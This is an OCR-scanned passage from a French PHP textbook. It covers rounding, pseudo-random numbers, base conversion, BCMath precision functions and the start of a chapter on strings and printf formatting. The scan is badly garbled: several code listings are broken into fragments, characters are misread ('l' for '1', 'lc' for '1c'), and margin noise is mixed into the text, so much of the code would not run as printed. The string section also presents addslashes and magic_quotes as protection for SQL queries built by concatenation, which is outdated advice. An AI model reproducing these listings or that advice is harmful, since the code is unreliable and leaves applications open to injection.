Cette fonction retourne l'entier directement superieur. L'entier retourne est malgre tout 
considere de type double, car ce type permet de traiter des nombres plus grands que les int. 

Syntaxe doubl e cei 1 (doubl e $reel ) 

$reel Valeur a arrondir. 

retour Valeur arrondie mais de type reel. 



336 



Les fonctions mathematiques et les constantes 



Voici un exemple d'utilisation de la fonction ceil ( ) 



Listing 6.4 : ceil.php 



<?php 

echo ce 
echo ce 
echo ce 
echo ce 
echo ce 
echo ce 
echo ce 
echo ce 
echo ce 



echo ceil 



(3.0). 
!3.1). 

(3.2) . 

(3.3) . 

(3.4) . 

(3.5) . 

(3.6) . 

(3.7) . 

(3.8) . 

(3.9) . 



<br /> 
<br /> 
<br /> 
<br /> 
<br /> 
<br /> 
<br /> 
<br /> 
<br /> 
<br /> 



En sortie, on obtiendra : 

3 
4 
4 
4 
4 
4 
4 
4 
4 
4 



floor() 

Arrondit a l'entier inferieur. 

Cette fonction retourne l'entier directement inferieur. L'entier retourne est malgre tout 
considere de type double, car ce type permet de traiter des nombres plus grands que les int. 
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Syntaxe 

$reel 
retour 



double f 1 oor (doubl e $reel) 

Valeur a arrondir. 

Valeur arrondie mais de type reel. 



Voici un exemple d'utilisation de la fonction floor ( ) : 



Listing 6.5 : floor.php 

<?php 

echo floor (3.0)."<br />" 
echo floor (3.1)."<br />" 
echo floor (3.2)."<br />" 
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echo floor (3.3)."<br />" 

echo floor (3.4)."<br />" 

echo floor (3.5)."<br />" 

echo floor (3.6)."<br />" 

echo floor (3.7)."<br />" 

echo floor (3.8)."<br />" 

echo floor (3.9)."<br />" 



En sortie, on obtiendra : 

3 
3 
3 
3 
3 
3 
3 
3 
3 
3 
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round () 

Arrondit selon les regies d'usage en mathematiques. 

S'il n'y a qu'un argument, cette fonction retourne l'entier le plus proche. S'il y a deux arguments 
elle retourne la valeur arrondie selon la precision donnee en second argument. 

Syntaxe double round (doubl e $reel [, int $precision]) 

$reel Valeur a arrondir. 

$preci si on Precision souhaitee (nombre de chiffres apresla virgule). 

retour Nombre arrondi selon la precision desiree. 

Voici un exemple d'utilisation de la fonction round ( ) : 

Listing 6.6 : round. php 

<?php 

echo round 
echo round 
echo round 
echo round 
echo round 
echo round 
echo round 
echo round 
echo round 
echo round 



(3.0). 


"<br 


/>"; 


(3.1). 


"<br 


/>"; 


(3.2). 


"<br 


/>"; 


(3.3). 


"<br 


/>"; 


(3.4). 


"<br 


/>"; 


(3.5). 


"<br 


/>"; 


(3.6). 


"<br 


/>"; 


(3.7). 


"<br 


/>"; 


(3.8). 


"<br 


/>"; 


(3.9). 


"<br 


/>"; 
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echo round (3. 123456789, 1) . "<br />" 

echo round (3. 123456789,2) . "<br />" 

echo round (3. 123456789,3) . "<br />" 

echo round (3. 123456789,4) . "<br />" 

echo round (3. 123456789,5) . "<br />" 

echo round (3. 123456789,6) . "<br />" 

echo round (3. 123456789,7) . "<br />" 

echo round (3. 123456789,8) . "<br />" 

echo round (3. 123456789,9) . "<br />" 



En sortie, on obtiendra : 

3 
3 
3 
3 
3 
4 
4 
4 
4 
4 

3.1 

3.12 

3.123 

3.1235 

3.12346 

3.123457 

3.1234568 3 p> 



En effet, quand le chiffre de rang inferieur est superieur ou egal a cinq, la regie est d'arrondir 
au chiffre superieur. 



Nombre pseudo-aleatoire 

L 'ordinateur ne connait pas le hasard. Mais, comme il est parfois utile de generer un 
nombre aleatoirement, il a fallu trouver une astuce pour f aire comme si Vordinateur 
en etait capable. Pour arriver a ce resultat, il a fallu generer une suite (la plus longue 
possible) de nombres repondant a des criteres statistiques precis. Lorsque Von a 
besoin d'un nombre aleatoire, le systeme va piocher un nombre dans cette liste (le 
suivant dans la liste). Mais, si Von n'y prend garde, apres chaque redemarrage du 
logiciel, le nombre retourne risque d'etre toujours le premier element de la liste. Pour 
pallier ce probleme, il faudrait done choisir aleatoirement (on se mord la queue) 
Vendroit ou commencer dans la liste. Pour choisir de f agon plus ou moins aleatoire 



?> 



3.12345679 
3.123456789 




Hasard 
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cet endroit, il est generalement fait appel a Vheure (les microsecondes). 
Comme tout ceci n'est pas a proprement parler du hasard, il est plus rigoureux de 
parler de nombre pseudo-aleatoire que de nombre aleatoire. 

PHP propose deux types de fonctions : les classiques et les fonctions prefixees par mt_ (utilisant 
un autre algorithme). 

Fonctions "classiques" 

srand() 

Initialise les generateurs de nombres aleatoires. 

Attention de ne pas utiliser cette fonction avant tous les appels dans une boucle par exemple. 
II est preferable de ne l'utiliser qu'une fois avant la generation de plusieurs valeurs aleatoires. 

Syntaxe void srand([int $seed]) 

$seed Une valeur quelconque qui doit changer d'une fois sur 1'autre. On a pour 

habitude de prendre le nombre de microsecondes depuis la derniere 
seconde entiere. srand ( (double) microtime () *1000000). 



rand() 

Generateur de nombres aleatoires. 

Sans arguments, elle renvoie un nombre entre et la valeur maximale que peut retourner la 
fonction (i.e. getRandMax ( ) ). Sinon, elle renvoie un nombre compris entre les deux valeurs 
(incluses) fournies. 

Depuis PHP 4.2.0, il n'est plus necessaire de faire appel au prealable a srand ( ) , puisque cet 
appel est effectue automatiquement s'il n'a pas deja eu lieu. 



Syntaxe int rand([int $min, int $max] ) 

$mi n Plus petite valeur que doit retourner la fonction. 

$max Plus grande valeur que doit retourner la fonction. 

retour Un entier entre minimum et maximum inclus. 

getRandMax () 

Retourne la plus grande valeur pouvant etre atteinte par la fonction rand ( ) . 

Syntaxe int getRandMax (void) 

retour Plus grande valeur que peut retourner la fonction rand ( ) . 
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Voici un exemple utilisant les fonctions getRandMax ( ) , srand ( ) et rand ( ) . 



Listing 6.7 : rand.php 

<?php 

echo "getRandMax()=" .getRandMax() . "<br />"; 

srand ((double)microti me ()*1000000) ; 

echo rand() . "<br />" ; 

echo rand()."<br />"; 

echo rand() . "<br />" ; 

echo rand()."<br />"; 

echo rand(0, 2) ."<br />"; 

echo rand(0, 2) ."<br />"; 

echo rand(0, 2) ."<br />"; 

echo rand(0, 2) ."<br />"; 

echo rand(0, 2) ."<br />"; 

echo rand(0, 2) ."<br />"; 

echo rand(0, 2) ."<br />"; 

echo rand(0, 2) ."<br />"; 

?> 



Le resultat obtenu est le suivant (bien entendu, a part la premiere ligne, il varie d'une execution 
a l'autre) : 

getRandMax ()=32767 

1282 

31943 

31613 

7866 
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Fonctions "mt" 



mt_srand() 

Initialise le generateur de nombres aleatoires. 

Attention de ne pas utiliser cette fonction avant tous les appels dans une boucle par exemple. 
II est preferable de ne l'utiliser qu'une fois avant la generation de plusieurs valeurs aleatoires. 

Syntaxe void mt_srand([int $seed]) 

$seed Valeur quelconque qui doit changer d'une fois sur l'autre. On a pour 

habitude de prendre le nombre de microsecondes depuis la derniere 
seconde entiere. mt_srand ( ( double )microtime () *1000000). 
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mt_rand() 

Generateur de nombres aleatoires. 

mt_rand est une alternative a la fonction rand. Elle est bien plus rapide (environ quatre fois) 
et utilise la methode de Mersenne Twister. 

Sans arguments, elle renvoie un nombre entre et la valeur maximale que peut retourner la 
fonction (i.e. mt_getRandMax ( ) ). Sinon, elle renvoie un nombre compris entre les deux valeurs 
fournies incluses. 

Depuis PHP 4.2.0, il n'est plus necessaire de faire appel au prealable a mt_srand ( ) , puisque cet 
appel est effectue automatiquement s'il n'a pas deja eu lieu. 

Syntaxe int mt_rand([int $min, int $max]) 

$mi n Plus petite valeur que doit retourner la fonction. 

$max Plus grande valeur que doit retourner la fonction. 

retour Entier entre minimum et maximum inclus. 



mt_getRandMax() 
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Retourne la plus grande valeur pouvant etre atteinte par la fonction mt_rand ( ) . 
Syntaxe int mt_getRandMax(void) 

retour Plus grande valeur que peut retourner mt_rand ( ) . 

Voici un exemple Utilisant les fonctions mt_getRandMax ( ) , mt_srand ( ) et mt_rand ( ) 

Listing 6.8 : mt rand.php 

<?php 

echo "mt_getRandMax() = " .mt_getRandMax() . "<br />"; 



mt srand 


echo 


mt 


echo 


mt 


echo 


mt_ 


echo 


mt 


echo 


mt 


echo 


mt 


echo 
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echo 


mt 


echo 


mt 


echo 


mt 


echo 


mt 


echo 


mt 
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Le resultat obtenu est le suivant (bien entendu, a part la premiere ligne, il varie d'une execution 
a l'autre). 

mtgetRandMax 0=2147483647 

617390894 

505571108 

175954693 

741777589 

2 



1 

1 

2 



2 





Autres 



lcg_value() 



Generateur de congruence combinee lineaire. 

Cette fonction retourne un nombre pseudo-aleatoire compris entre et 1. Elle combine deux 
nombres de periode 2 ~ 31-85 et 2 ^ 31-249. La periode de cette fonction est egale au produit de 
ces deux nombres premiers soit (2 ~ 31-85)*(2 ~ 31-249). 



Syntaxe 

retour 



double lcg_value() 

Reel pseudo-aleatoire compris entre et 1. 



Voici un exemple utilisant la fonction lcg_vaiue ( ) 

Listing 6.9 : Icg.php 

<?php 

echo(lcg_value() ."<br />") 
echo(lcg_value() ."<br />") 
echo(lcg_value() ."<br />") 
echo(lcg_value() ."<br />") 
echo(lcg_value() ."<br />") 
echo(lcg_value() ."<br />") 
$a = 3; 
$b = 7; 

// Voici une formule pour obtenir un nombre entre 
echo(floor($a + lcg_value()*($b-$a+l)) ."<br />") 
echo(floor($a + lcg_value()*($b-$a+l)) ."<br />") 
echo(floor($a + 1 cg_value()*($b-$a+l)) . "<br />") 
echo(floor($a + lcg_value()*($b-$a+l))."<br />") 

?> 
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Voici le resultat retourne : 

0.30513436806404 

0.068577150355096 

0.57782412638032 

0.9158474922213 

0.0046724566600712 

0.1675198682609 

7 

3 

4 

6 



Conversion de bases 



base_convert() 

Retourne un nombre converti d'une base dans une autre. 

Syntaxe string base_convert (string $nombre, int $depui sBase, int 

$versBase) 

$nombre Nombre a convertir ecrit en base $depuisBase. 

$depui sBase Base d'origine entre 2 et 36. 

$versBase Base d'arrivee entre 2 et 36. 

retour Nombre en base $versBase. 
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co E Retourne la conversion d'un nombre binaire inferieur a 2147483647 (31 bits a 1) en nombre de 

base 10 (decimal). 



binDecQ 



Syntaxe int binDec (string $binaire) 

$bi nai re Nombre binaire de moins de 32 bits, 

retour Nombre en base 10. 



decBin() 

Retourne la conversion d'un nombre decimal (i.e. base 10) inferieur a 2147483647 (31 bits a 1) 
en nombre de base 2 (binaire). 

Syntaxe string decBin(int $decimal) 

$decimal Nombre decimal (i.e. base 10) inferieur a 2147483647. 

retour Nombre en base 2. 
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decHex() 

Retourne la conversion d'un nombre decimal (i.e. base 10) inferieur a 2147483647 (31 bits a 1 
ou encore 7FFFFFFF en hexadecimal) en nombre de base 16. 

Syntaxe string decHex(int $decimal) 

$decimal Nombre decimal (i.e. base 10) inferieur a 2147483647. 

retour Nombre en base 16. 



hexDec() 

Retourne la conversion d'un nombre hexadecimal inferieur a 7FFFFFFF (31 bits a 1 ou encore 
2147483647 en decimal) en nombre decimal (i.e. base 10). 

Syntaxe int hexDec(string $hexadecimal ) 

$hexadecimal Nombre decimal inferieur a 7FFFFFFF. 

retour Nombre decimal (i.e. base 10). 



decOctQ 



Retourne la conversion d'un nombre decimal (i.e. base 10) inferieur a 2147483647 (31 bits a 1 3 ^ 

ou encore 17777777777 en octal) en nombre de base 8. 3 n 

CD, «" 

3 3" 

Syntaxe string dec0ct(int $decimal) m § 

— ■ n 

$decimal Nombre decimal (i.e. base 10) inferieur a 2147483647. = 5' 

x 7 CD 3 

retour Nombre en base 8. 



octDec() 

Retourne la conversion d'un nombre octal inferieur a 17777777777 (31 bits a 1 ou encore 
2147483647 en decimal) en nombre decimal (i.e. base 10). 

Syntaxe int octDec (string $octal) 

$ o c t a 1 Nombre octal inferieur a 1 7777777777. 

retour Nombre decimal (i.e. base 10). 
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Voici un exemple utilisant toutes ces fonctions de conversion de bases. 

Listing 6.10 : bases.php 

<?php 

echo base_convert("28", 10, 2)."<br />"; // 11100 

echo base_convert("28", 10, 8)."<br />"; // 34 

echo base_convert("28", 10, 16)."<br />"; // lc 
echo decBin(28) ."<br />"; // 11100 

echo binDec("11100") ."<br />"; // 28 

echo dec0ct(28)."<br />"; // 34 

echo octDec("34") ."<br />"; // 28 

echo decHex(28) ."<br />"; // lc 

echo hexDec("lc") . "<br />"; // 28 



Et le resultat retourne est 



11100 

34 

lc 

11100 

28 

34 

28 

lc 

28 
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abs() 



Cette fonction retourne la valeur absolue de l'argument. Si 1'argument est un reel, la valeur 
retournee est un reel ; sinon, c'est un entier. 

Syntaxe mixed abs (mixed $nombre) 

$nombre Valeur reelle ou entiere. 

retour Valeur absolue du nombre. 



max() 

Retourne le plus grand element. 

Syntaxe mixed max (mixed $argl [, mixed $arg2, ...[, mixed $argn]]) 

$arg 1 Un tableau, une chaine de caracteres, un reel ou un entier. 
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$arg2 Une chaine de caracteres, un reel ou un entier si $argl n'est pas un 

tableau. 

$argn Une chaine de caracteres, un reel ou un entier si $argl n'est pas un 

tableau. 

retour Le plus grand element du tableau si l'argument est un tableau. Si tous les 

arguments sont de type string, la valeur retournee est la derniere valeur 
par rapport a l'ordre alphabetique. Si tous les arguments numeriques sont 
de type int, c'est un entier qui est retourne ; sinon c'est un reel. 



min() 



Retourne le plus petit element. 

Syntaxe mixed mi n (mixed $argl [, mixed $arg2, ... [, mixed $argn]) 

$ a r g 1 Un tableau, une chaine de caracteres, un reel ou un entier. 

$arg2 Une chaine de caracteres, un reel ou un entier si $argl n'est pas un 

tableau. 

$argn Une chaine de caracteres, un reel ou un entier si $argl n'est pas un 

tableau. 

retour Le plus petit element du tableau si l'argument est un tableau. Si tous les 

arguments sont de type s tr ing, la valeur retournee est la premiere valeur 
par rapport a l'ordre alphabetique. Si tous les arguments numeriques sont 
de type int, c'est un entier qui est retourne ; sinon c'est un reel. 



number_format() 

Formate un nombre. 

Cette fonction prend un, deux ou quatre parametres. 

S'il n'y a qu'un parametre, il sera formate sans decimal et avec une virgule separant les milliers. 

S'il y a deux parametres, le deuxieme argument est le nombre de decimales a afficher. Elles sont 
alors separees par une virgule. 

S'il y a quatre parametres, les deux premiers sont les memes que dans le cas de deux 
parametres, les suivants sont les separateurs de decimales et de milliers. 

Syntaxe string number_format (doubl e $nombre [, int $decimales [, 

string $delimiteur , string $milliers]]) 

$ n omb r e Nombre a f ormater. 

$decimal es Nombre de decimales a afficher. 

$del i mi teur Separateur de decimales (', ' en franc,ais, ' . ' en anglais). 

$mi 1 1 i ers Separateur de milliers (' ' en frangais, ' , ' en anglais). 

retour Chaine de caracteres du nombre formate. 
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Voici un exemple d'utilisation de la fonction number_f ormat ( ) : 

Listing 6.11 : numberf.php 

<?php 

$number = 123456789.12345; 
// exemple avec un seul argument 
echo number_format ($number) ; 
echo "<br />"; 

// exemple avec deux arguments 
echo number_format ($number, 3); 
echo "<br />"; 

// exemple de notation anglaise avec 4 arguments 
echo number_format ($number, 3, ','); 
echo "<br />"; 

// exemple de notation frangaise avec 4 arguments 
echo number_f ormat ($number, 3, ' '); 



En sortie, on obtiendra : 

123,456,789 
123,456,789.123 
123,456,789.123 
123 456 789,123 
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6.2. Calculs de precision 

Les calculs de precision utilisent la bibliotheque BCMath. 

Installation 

Sous Windows 

La version distribute par PHP inclut le support de la bibliotheque BCMath (c'est egalement vrai 
pour le kit EasyPHP). Vous n'aurez done rien a faire de particulier pour en profiter. 

Sous Linux 

Assurez-vous d'avoir compile PHP avec l'option — enable-bcmath. 



RENVOI 



, Vous pouvez vous reporter au chapitre "Installation" pour plus de details sur la 
compilation de PHP. 
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Verification 

Vous pouvez vous assurer que la bibliotheque BCMath est bien disponible par un simple script 
contenant <?php phpinf o ( ) ; ?> et qui doit laisser apparaitre : 

bcmath 

| BCMath support | enabled 

Utilisation 

Avec la bibliotheque BCMath, les nombres sont represented par des chaines de caracteres. lis ne 
sont done pas a priori limites en taille et, par consequent, n'ont pas de limite theorique en 
precision. 



Figure 6.1 : 

phpinfoQ 



bcscale() 



Definit la precision par defaut (remplace le parametre bcmath. scale du fichier php.ini). 

Syntaxe boolean bcscale(int $precision) 

$preci si on Entier exprimant le nombre de decimales par defaut. 

retour TRUE. 



bcadd() 

3 P> 

Ajoute deux nombres. £2. r- 

Jif- GO 

Syntaxe string bcadd (stri ng $operandel, string $operande2 [, int 3 3" 

$precision]) =r. „ 

$operandel Chaine de caracteres representant un nombre . = 5' 

$operande2 Chaine de caracteres representant un nombre. " OT 
$precision Nombre de decimales. 

retour Chaine de caracteres representant $operandel+$operande2. 



bcsub() 

Soustrait deux nombres. 

Syntaxe string besub (string $operandel, string $operande2 [, int 

$precision]) 

$operandel Chaine de caracteres representant un nombre. 

$operande2 Chaine de caracteres representant un nombre. 

$precision Nombre de decimales. 

retour Chaine de caracteres representant $operandel-$operande2. 
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bcmulQ 



Multiplie deux nombres. 

Syntaxe string bcmul (string $operandel, string $operande2 [, int 

$precision] ) 

$operandel Chaine de caracteres representant un nombre . 

$operande2 Chaine de caracteres representant un nombre. 

$precision Nombre de decimales. 

retour Chaine de caracteres representant $operandel*$operande2. 



bcdiv() 

Divise deux nombres. 
Syntaxe 

$operandel 
$operande2 
$precision 
retour 



string bcdiv(string $operandel, string $operande2 [, int 
$precision] ) 

Chaine de caracteres representant un nombre. 
Chaine de caracteres representant un nombre. 
Nombre de decimales. 

Chaine de caracteres representant $ operandel / $operande2 . 
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bcmod() 



Retourne le reste d'une division. 

Syntaxe string bcmod (string $operandel, string $operande2) 

$operandel Chaine de caracteres representant un nombre . 

$operande2 Chaine de caracteres representant un nombre. 

retour Chaine de caracteres representant $operandel % $operande2. 



bcpow() 

Eleve un nombre a une puissance. 

Syntaxe string bcpow(string $operandel, string $operande2 [, int 

$precision] ) 

$operandel Chaine de caracteres representant un nombre . 

$operande2 Chaine de caracteres representant un nombre. 
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$precision Nombre de decimates. 

retour Chaine de caracteres representant $operande a la puissance $operande2. 



bcsqrt() 



Retourne la racine carree d'un nombre. 

Syntaxe string bcsqrt (stri ng $operande [, int $precision]) 

$operande Chaine de caracteres representant un nombre . 

$precision Nombre de decimales. 

retour Chaine de caracteres representant la racine carree de l'operande. 



bccompO 



Compare deux nombres. 

Syntaxe int bccomp(stri ng $operandel, string $operande2 [, int 

$precision]) 

$operandel Chaine de caracteres representant un nombre . 

$operande2 Chaine de caracteres representant un nombre. 

$precision Nombre de decimales. 

retour si les deux nombres sont identiques, 1 si $operandel est plus grand que 

$operande2, sinon -1. 

Voici un exemple de calcul utilisant la bibliotheque BCMath. 

Listing 6.12 : precision.php 

<?php 

bcscale(lO) ; 

$a = "12345678901234567890"; 
$b = "12345678"; 
echo "Addition:<br />"; 
echo ($a + $b)."<br />"; 
echo bcadd($a, $b)."<br />"; 
echo "Soustraction:<br />"; 
echo ($a - $b)."<br />"; 
echo bcsub($a, $b)."<br />"; 
echo "Multiplication:<br />"; 
echo ($a * $b)."<br />"; 
echo bcmul ($a , $b)."<br />"; 
echo "Division:<br />"; 
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echo ($a / $b)."<br />"; 

echo bcdiv($a, $b)."<br />"; 

echo "Restant de la division:<br />"; 

echo ($a % $b)."<br />"; 

echo bcmod($a, $b)."<br />"; 

echo "Exposant :<br />"; 

echo pow($a, 2)."<br />"; 

echo bcpow($a, 2)."<br />"; 

echo "Racine carree:<br />"; 

echo sqrt($a) . "<br />"; 

echo bcsqrt ($a) . "<br />"; 

?> 

Et le resultat retourne est le suivant : 
Addition: 

1.23456789012E+19 

12345678901246913568.0000000000 

Soustraction: 

1.23456789012E+19 

12345678901222222212.0000000000 

Multiplication: 

1.52415776406E+26 

152415776406035777639079420 

Division: 

1000000073E+12 

1000000073000.0059850904 

Restant de la division: 

11681353 
g g 73890 
.2 = Exposant: 

c '■[§ Warning: Invalid argument(s) passed to pow() in precision.php on line 21 

•S E 152415787532388367501905199875019052100 

cd £ Racine carree: 

~! | 3513641828.82 

10 3513641828.8201442530 

On peut remarquer 1'erreur consecutive a un calcul du reste de la division sans prendre garde 
aux limites de precision de PHP ; qui plus est, PHP refuse de calculer la puissance si Ton ne 
passe pas par BCMath. 



REMARQUE 



Affichage des nombres 

Pour une valeur donnee, le nombre de chiffres affiches depend de la configuration de 
PHP et, en particulier, du parametre precision du fichier php.ini. Cette remarque 
ne s 'applique evidemment pas aux valeurs retournees par BCMath, qui sont, de toute 
faqon, des chaines de caracteres. 
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caracteres 



7.1 Generalites 355 

7.2 Fonctions de gestion des chaines de caracteres 363 

7.3 Comparaison de chaines de caracteres 376 

7.4 Gestion des caracteres speciaux 385 

7.5 Manipulation des balises HTML 395 

7.6 Insertion de motifs 401 

7.7 Fusion et decoupe 402 

7.8 Expressions regulieres 409 

7.9 Adapter le texte a la langue du visiteur 431 



Generates 



7.1. Generalites 

Ce chapitre est peut-etre le plus important, l'utilisation des chaines de caracteres etant en effet 
inevitable pour produire le code HTML desire. 

Les chaines de caracteres peuvent etre encadrees soit par des apostrophes ( ' ) soit par des 
guillemets ("). 

Lorsque vous utilisez des guillemets, vous pouvez integrer directement des noms de variables 
au sein de la chaine de caracteres, et celles-ci seront subtituees par leurs valeurs. Ce n'est pas le 
cas si vous utilisez les apostrophes. Ainsi, 

<?php 

$monNom = "Emma"; 

echo "Bonjour $monNom <br />"; 

echo 'Bonjour $monNom <br />'; 

?> 

affichera : 

Bonjour Emma 
Bonjour $monNom 

Dans le cas de l'utilisation des guillemets, nous aurons done besoin de faire appel aux sequences 
d'echappement afin de pouvoir afficher le signe '$'. Mais ceci concerne egalement les 
caracteres suivants : 

Tableau 7.1 : Sequences d'echappement 



Notation Description 

\n Changement de ligne. 

\r Retour chariot. 

o -J 

\t Tabulation. =■ 

5 > a) 

\\ Pour afficher \ (et eviter la confusion avec le caractere d'echappement). cd g 

\ $ Pour afficher $ (et eviter la confusion avec Interpretation d'une variable). S - ~ 

o c 

\ " Pour afficher » (et eviter la confusion avec la fin de la chaine de caracteres). 2> sr 

o o' 

CD- = 



La seule sequence d'echappement disponible lors de l'utilisation des apostrophes et la 3 Jo 

suivante : \ ' . Elle met fin a la confusion qu'il pourrait y avoir avec la declaration de fin de 
chaine. 

Si Ton veut utiliser des guillemets a l'interieur d'autres guillemets, il est evident que cela pose 
probleme, comme dans l'exemple suivant : 

"Coluche a dit "Plus on est de fous moins y'a de riz", pas faux..." 

L'analyseur syntaxique de PHP va reconnaitre une premiere chaine "Coluche a dit 11 puis 
des lettres qu'il ne saura pas interpreter Plus on est de fous moins y'a de riz, et, enfin, 
une chaine de caracteres 11 , pas faux. 
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C'est pourquoi il faut preciser que le caractere " est un caractere a afficher. Pour cela, il a ete 
decide d'y ajouter \. 

La phrase d'exemple s'ecrit done : 

"Coluche a dit V'Plus on est de fous moins y'a de riz\", pas faux..." 

Et, pour afficher \, il faut done preciser que ce n'est pas le caractere d'echappement en le 
doublant : \\. 

Chemins de fichiers Windows 

\ \ est notamment a utiliser pour les chemins windows. 
"C: \monRepertoire\monFichier . php" s'ecrit 
"C: \ \monRepertoire \ \monFichier . php". 



A 

ATTENTION 



REMARQUE 



Pour ecrire \ \, il suffit de doubler chacun des caracteres. On obtient done \ \\ \ et 
ainside suite... Cette methode permet de garder la liberie d 'utiliser tous les caracteres. 



Le script suivant nous montre comment utiliser les sequences d'echappement : 



Listing 7.1 : ccOLphp 



"O i— 

= 'S 
o o 

S2 c5 
s o 
.Br cd 
s= -a 

E CD 

™ B 

_l CO 



<?php 

echo "1 - 

echo "\n" 

echo '2 - 

echo "\n" 

echo "3 - 

echo "\n" 

echo '4 - 

echo "\n" 

$variable="valeur"; 

echo "5 - $variable"; 

echo "\n" 

echo '6 - 

echo "\n" 

echo "7 - 

echo "\n" 

echo "8 - 

echo "\n" 

echo '9 - 

echo "\n" 

// pour afficher \" avec les gui 1 1 emets : 

echo "10 - \\\""; 

?> 



Faci 1 e" ; 
Facile' ; 

C'est plus dur"; 
C\ ' est pi us dur' ; 



$variable' ; 
\$vari abl e" ; 

citation V'PHP est facile\"' 
citation "PHP est facile'" : 



Voici le resultat obtenu dans le code source genere : 
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1 - Facile 

2 - Facile 

3 - C'est plus dur 

4 - C'est plus dur 

5 - valeur 

6 - $variable 

7 - $variable 

8 - citation "PHP est facile" 

9 - citation "PHP est facile" 

10 - \" 

Pour acceder a des elements d'une base de donnees, il faut particulierement faire attention a 
l'utilisation des apostrophes. Par exemple : 

"SELECT * FROM matable WHERE monchamp='$valeur l " 

posera probleme si Svaieur contient une apostrophe. Heureusement, la fonction 
addsiashes ( ) ajoute le caractere d'echappement devant les caracteres problematiques. II faut 
done ecrire : 

"SELECT * FROM matable WHERE monchamp= 111 .addSl ashes ($val eur) 

Le meme genre de probleme se retrouve lorsque Ton veut, par exemple, donner une valeur par 
defaut dans un champ HTML. Une fonction specifique existe, qui s'appelle 

htmlSpecialChars ( ) . 

echo "<input type=\"hidden\" name=\"vari abl e\" 

val ue=\"" . html Speci al Chars ($maVariabl e) . "\" />" 

Par defaut, PHP est configure avec l'option magic _quotes _gpc activee. Ainsi, les valeurs passees 
par les methodes get, post et les cookies voient leurs apostrophes automatiquement precedees 
d'un anti-slash (il n'est alors plus necessaire de faire appel a addsiashes ( ) pour les utiliser 
dans des requetes SQL). II est possible de faire de meme pour les fichiers et les bases de 
donnees, en utilisant le parametre similaire magic_quotes_runtime. 




Vous pouvez vous reporter au chapitre "Prise en main" pour plus de details sur la 
configuration de PHP. 



RENVOI 

Rappelons que l'operateur de concatenation est le point '.' et que 1'operateur '.=' est 

egalement valide. Ainsi " Langage " . " PHP " vaut " Langage PHP " . 

Afficher du texte 

II existe plusieurs fagons d'afficher une chaine de caracteres. La maniere la plus simple est 
l'utilisation de echo. 

L'ecriture sur plusieurs lignes peut se faire au moyen de «< suivis d'un identifiant de fin de 
texte, qui ne sera pas dans le texte a ecrire. L'identifiant place a la fin du texte doit 
obligatoirement commencer sur la premiere colonne du fichier. 
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Voici differents cas d'utilisation de echo : 
<?php 

$variable = "valeur\n"; 
echo $variable; 
echo "$variable"; 

echo "variable"," ",$variable; 

echo "On peut 
aussi ecrire 
sur plusieurs 
1 ignes\n" ; 

echo «<END 
On peut 
aussi ecrire 
sur plusieurs 
lignes de cette 
fagon\n 
END; 

echo «<TEXTE 
On peut 
aussi ecrire 
sur plusieurs 
lignes de cette 
fagon 
TEXTE; 
?> 

Et voici le resultat de sortie : 



On peut 
aussi ecrire 
sur plusieurs 
lignes de cette 
facon 
On peut 
aussi ecrire 
sur plusieurs 
lignes de cette 
fagon 




valeur 
valeur 



variable valeur 
On peut 
aussi ecrire 
sur plusieurs 
1 ignes 
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Une fonction tres proche de la commande echo s'appelle print ( ) . La difference est tellement 
infime que beaucoup se demandent ou elle se trouve. print ( ) est une fonction qui retourne un 
booleen, elle renvoie true quand l'affichage s'est effectue. 

echo est legerement plus rapide que print ( ) , dans la mesure ou cette fonction ne retourne 
rien. Mais la difference reste minime. 

Les deux fonctions printf () et sprintfo permettent respectivement d'afficher et de 
retourner une chaine de caracteres formatee. 



printf () 

Affiche une chaine de caracteres (eventuellement accompagnee de valeurs) selon un format 
donne. 

Syntaxe void pri ntf (stri ng $format [, mixed $valeurs]) 

$f ormat Chaine decrivant le format attendu. 

$valeurs Les valeurs a formater. 



sprintf() 



Retourne une chaine de caracteres (eventuellement accompagnee de valeurs) selon un 
format donne. 

Syntaxe string spri ntf (stri ng $format [, mixed $valeurs]) 

$format Chaine decrivant le format attendu. 

$valeurs Les valeurs a formater. 

retour La chaine formatee. 

Les elements formates sont definis par le signe % suivi de differents caracteres (ex. :%03 . 2f) 
dont voici une description : 

Le premier est facultatif. II sert a determiner le caractere qui complete les caracteres 
manquants ; par defaut, il vaut le caractere d'espacement. Pour definir ce parametre, il 
suffit de le faire preceder d'une apostrophe ' (inutile pour le chiffre 0). (Cela peut, par 
exemple, permettre d'afficher un nombre sur trois chiffres, meme s'il est inferieur a 100). 

Le deuxieme parametre est lui aussi optionnel. II determine si le resultat doit etre aligne a 
droite ou a gauche. Par defaut, il sera aligne a droite ; pour le faire aligner a gauche, il suffit 
de placer le signe -. 

Le troisieme parametre est lui aussi optionnel. II determine le nombre de caracteres 
minimum a retourner. 



e-j o 



CO CO 
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Le quatrieme parametre est lui aussi optionnel. II determine le nombre de decimales a 
afficher pour les reels. Ce parametre n'a bien sur aucun effet sur les autres types ; il est 
precede d'un point. 

Le cinquieme parametre est obligatoire. II definit selon quel type l'argument doit etre 
traite puis represente. Voici les differents types possibles : 



Tableau 7.2 : Les differents types 



Lettre 


Traite 


Represente 


b 


Entier 


Binaire 


c 


Entier 


Caractere avec sa valeur ASCII 


d 


Entier 


Nombre decimal signe 


u 


Entier 


Nombre decimal non signe 


f 


Reel 


Reel 


o 


Entier 


Nombre octal 


s 


Tel quel 


ChaTne de caracteres 


X 


Entier 


Nombre hexadecimal 


X 


Entier 


Nombre hexadecimal en majuscules 



CO <= 

_i ro 



r- « 



Ecriture du caractere % 

Pour ecrire le caractere %, il suffit de le doubler afin d'eviter la confusion. Au 
REMARQUE moment de I'affichage un seul apparaitra. 

Voici quelques exemples utiles : 



Listing 7.2 : sprintf.php 



"O i— 

= 'Si 
o o 

■| E <?php 

= cj echo "Date<br /> "; 

.5- o> 
= -a 

CO 



printf("%02d/%02d/%04d", 1, 7, 2002); 
g g echo "<br />Pi avec 7 decimal es<br />"; 

printf("%.7f", M_PI); 

echo "<br />Ecriture d'une chaTne<br />"; 
printf(".:%s:.", "Salut !"); 

echo "<br />Ecriture d'une chaine avec 20 caracteres mi nimum<br />"; 
printf(".:%20s:.", "Salut"); 

echo "<br />Ecriture d'une chaine avec 20 caracteres minimum,". 

" aligne a gauche<br />"; 
printf(".:%-20s:.", "Salut"); 

echo "<br />Ecriture d'une chaine avec 20 caracteres minimum,". 

" complete par des -<br />"; 
printf(".:%'-20s:.", "Salut"); 

echo "<br />Ecriture d'une chaine avec 20 caracteres minimum,". 
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" aligne a gauche, complete par des -<br />"; 
printf (".:%'-- 20s:.", "Salut"); 
echo "<br />Ecriture de %<br />"; 
printf ("%%"); 
?> 

